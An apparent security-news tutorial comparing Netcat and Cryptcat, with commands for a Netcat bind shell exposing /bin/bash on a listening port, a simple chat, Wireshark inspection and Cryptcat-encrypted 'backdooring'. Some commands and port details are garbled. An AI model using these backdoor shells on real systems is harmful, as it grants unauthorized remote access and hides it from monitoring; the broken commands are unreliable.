Categories: Exploitation Tools

Netcat vs Cryptcat – Remote Shell to Control Kali Linux from Windows machine

Netcat is a good build network debugging tool, which can read and write data across computers using TCP or UDP, it is also called TCP/IP utilities.

It is capable to act as a master and slave to do file transfer, TCP banner grabbing, backdoor shells, port scanners, port redirection, and network chats can also be performed using Netcat.

In this Kali Linux Tutorial how to work with Netcat and Cryptcat would show the difference between them.

Remote shell with Netcat:-

  • Execute Command: nc -l -p 1338 -e /bin/bash
  • The above listener will be listening via port 1338 and gives executable -e for anyone for shell access through /bin/bash
  • Now, Kali Linux is a backdoor to your network.
  • Execute Command on Windows Machine :nc.exe <Kali linux Ip> <listening port >
  • The above-illustrated image shows the Windows machine or any client accessing and controlling Kali machine via Linux commands.

Chatroom:-

  • Execute Command in Kali Linux: nc -l -p 1337.
  • Above command, TCP session will be established to receive packets from any IP which connects to port 1337 & now your own private messenger is ready.
  • Execute Command in Windows machine: nc.exe <listener Ip address or Kali linux Ip>
  • The above image illustrates the listener over the 443 port & chat begins !!!
  • Here both the client and server are started chatting using Netcat. For More Functions & Commands Refer Here

Also Read Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Note: Conversations between Kali Linux and Windows machines are encrypted or not ???? Let us check with Wireshark! 

Wireshark(packet capture Tool):-

  • OOPS !!!! Follow TCP Stream in Wireshark captures connections & clear text messages.OMG!
  • Anyone in your network can use Wireshark to see these activities.
  • But Still, we have an idea to overcome this issue. Let’s use ciphers!

Cryptcat(encrypting netcat):-

  • Cryptcat has an advanced feature like using ciphers to encrypt clear text communication.
  • Cryptcat uses end-to-end encryption using a Two-Fish encryption algorithm
  • Above comment executed : cryptcat -<lisener> <port> 8000
  • Cryptcat Commands will be the same as Netcat
  • Performed backdooring using Cryptcat, let’s check out the below Image of a chat session using Cryptcat.
  • So, we can see that the crypt cat encrypts the connection. It’s the most secure way of backdooring. Netcat is acquired by Nmap project and named as Ncat which supports SSL over Traffic. Cats are always Different. Happy Hacking !!!
BALAGANESH

Recent Posts

200,000 WordPress Sites Exposed to Cyber Attack, Following Plugin Vulnerability

A critical security vulnerability has been discovered in the popular WordPress plugin Anti-Spam by CleanTalk, which…

3 minutes ago

Beware Of SpyLoan Apps Exploits Social Engineering To Steal User Data

SpyLoan apps, a type of PUP, are rapidly increasing, exploiting social engineering to deceive users…

2 hours ago

Researchers Detailed Tools Used By Hacktivists Fueling Ransomware Attacks

CyberVolk, a politically motivated hacktivist group, has leveraged readily available ransomware builders like AzzaSec, Diamond,…

2 hours ago

Blue Yonder Ransomware Attack Impacts Starbucks & Multiple Supermarkets

A ransomware attack on Blue Yonder, a leading supply chain management software provider, has created…

4 hours ago

Dell Wyse Management Suite Vulnerabilities Let Attackers Exploit Affected Systems Remotely

Dell Technologies has released a security update for its Wyse Management Suite (WMS) to address…

4 hours ago

CISA Details Red Team Assessment Including TTPs & Network Defense

The Cybersecurity and Infrastructure Security Agency (CISA) recently detailed findings from a Red Team Assessment…

4 hours ago